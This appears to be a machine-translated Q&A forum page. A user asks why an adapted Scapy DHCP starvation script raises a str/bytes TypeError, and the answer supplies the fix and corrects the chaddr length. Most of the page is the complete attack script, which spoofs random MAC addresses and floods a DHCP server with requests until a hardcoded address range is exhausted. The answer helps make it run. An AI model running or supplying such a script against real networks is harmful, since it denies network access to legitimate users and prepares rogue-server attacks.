Scapy 2.4.4-Py 3.7.9-TypeError：无法将str连接为字节

如何解决Scapy 2.4.4-Py 3.7.9-TypeError：无法将str连接为字节

我正在使用Python 3.7.9。 我正在尝试通过改编此链接中的代码来使用scapy（对于点数）：

https://cabeggar.github.io/2016/02/21/DHCP-starvation-with-ScaPy/

import

我收到此错误

    from scapy.all import *
from time import sleep
from threading import Thread




class DHCPStarvation(object):
    def __init__(self):
        # Generated MAC stored to avoid same MAC requesting for different IP
        self.mac = [""]
        # Requested IP stored to identify registered IP
        self.ip = []
    
    def get_intfs(self):
        winList = get_windows_if_list()
        intfList = get_if_list()
        
        # Pull guids and names from the windows list
        guidToNameDict = { e["guid"]: e["name"] for e in winList}
        
        # Extract the guids from the interface list
        guidsFromIntfList = [(e.split("_"))[1] for e in intfList]
        
        # Using the interface list of guids,pull the names from the
        # Windows map of guids to names
        namesAllowedList = [guidToNameDict.get(e) for e in guidsFromIntfList if guidToNameDict.get(e) != None]
        return namesAllowedList
    
    def choose_intf(self):
        intfs=self.get_intfs()
        a=len(intfs)+1
        print('Starting with a:',a)
        for i in intfs: print(intfs.index(i),i)
        while a > len(intfs)-1:
            a=int(input('Choose the interface from the list above:'))
        print('Returned:',intfs[a])
        return intfs[a]
    
    def handle_dhcp(self,pkt):
        if pkt[DHCP]:
            # if DHCP server reply ACK,the IP address requested is registered
            # 10.10.111.107 is IP for bt5,not to be starved
            if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "10.10.111.107":
                self.ip.append(pkt[IP].dst)
                print(str(pkt[IP].dst)+" registered")
            # Duplicate ACK may happen due to packet loss
            elif pkt[DHCP].options[0][1]==6:
                print("NAK received")
    
    def listen(self):
        # sniff DHCP packets
        sniff(filter="udp and (port 67 or port 68)",prn=self.handle_dhcp,store=0)
    
    def start(self):
        # start packet listening thread
        self.outgoing_intf = self.choose_intf()
        thread = Thread(target=self.listen)
        thread.start()
        print("Starting DHCP starvation...")
        # Keep starving until all 100 targets are registered
        # 100~200 excepts 107 = 100
        while len(self.ip) < 100: self.starve()
        print("Targeted IP address starved")
    
    def starve(self):
        for i in range(10):
            # generate IP we want to request
            # if IP already registered,then skip
            requested_addr = "10.38.65."+str(176+i)
            print('Requesting',requested_addr)
            if requested_addr in self.ip:
                continue            
            # generate MAC,avoid duplication
            src_mac = ""
            while src_mac in self.mac:
                src_mac = str(RandMAC('16'))
            self.mac.append(src_mac)
            # generate DHCP request packet
            pkt = Ether(src=src_mac,dst="ff:ff:ff:ff:ff:ff")
            pkt /= IP(src="0.0.0.0",dst="255.255.255.255")
            pkt /= UDP(sport=68,dport=67)
            pkt /= BOOTP(chaddr=RandString(12,"0123456789abcdef"))
            pkt /= DHCP(options=[("message-type","request"),("requested_addr",requested_addr),("server_id","10.38.65.201"),"end"])
            sendp(pkt,iface=self.outgoing_intf)
            print("Trying to occupy "+requested_addr)
            sleep(0.2)  # interval to avoid congestion and packet loss
        

if __name__ == "__main__":
    starvation = DHCPStarvation()
    starvation.start()

问题似乎在模块中很深，特别是在文件def _fix（self）函数中

“ C：\ Program Files \ Python37 \ lib \ site-packages \ scapy-2.4.4rc2.dev30-py3.7.egg \ scapy \ volatile.py”

Traceback (most recent call last):
  File ".\main.py",line 95,in <module>
    starvation.start()
  File ".\main.py",line 63,in start
    while len(self.ip) < 100: self.starve()
  File ".\main.py",line 88,in starve
    sendp(pkt,iface=self.outgoing_intf)
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\sendrecv.py",line 379,in sendp
    realtime=realtime,return_packets=return_packets)
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\sendrecv.py",line 299,in __gen_send
    for p in x:
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 963,in loop
    for x in loop(todo[:],done):
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 971,in loop
    if self.fields == done and payloads.__iterlen__() == 1:
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 1026,in __iterlen__
    return length * self.payload.__iterlen__()
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\packet.py",line 1009,in __iterlen__
    if hasattr(val,"__iterlen__"):
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py",line 104,in __getattr__
    return getattr(self._fix(),attr)
  File "C:\Program Files\Python37\lib\site-packages\scapy-2.4.4rc2.dev30-py3.7.egg\scapy\volatile.py",line 365,in _fix
    s += rdm_chr if isinstance(rdm_chr,str) else chb(rdm_chr)
TypeError: can't concat str to bytes

问题似乎是由于 s 和 rdm_chr 是不同类型的事实引起的，但是我不认为可以在长期维护的模块中找到如此深的错误...

有人会提示吗？

谢谢

亚历克斯

解决方法

首先，我对此表示怀疑

BOOTP(chaddr=RandString(12,"0123456789abcdef"))

是正确的，因为chaddr是一个16字节的字段（而不是12），但是这里的问题是您给它提供了一个字符串（是的，这很直观，但这是python 3），而不是字节：

BOOTP(chaddr=RandString(16,b"0123456789abcdef"))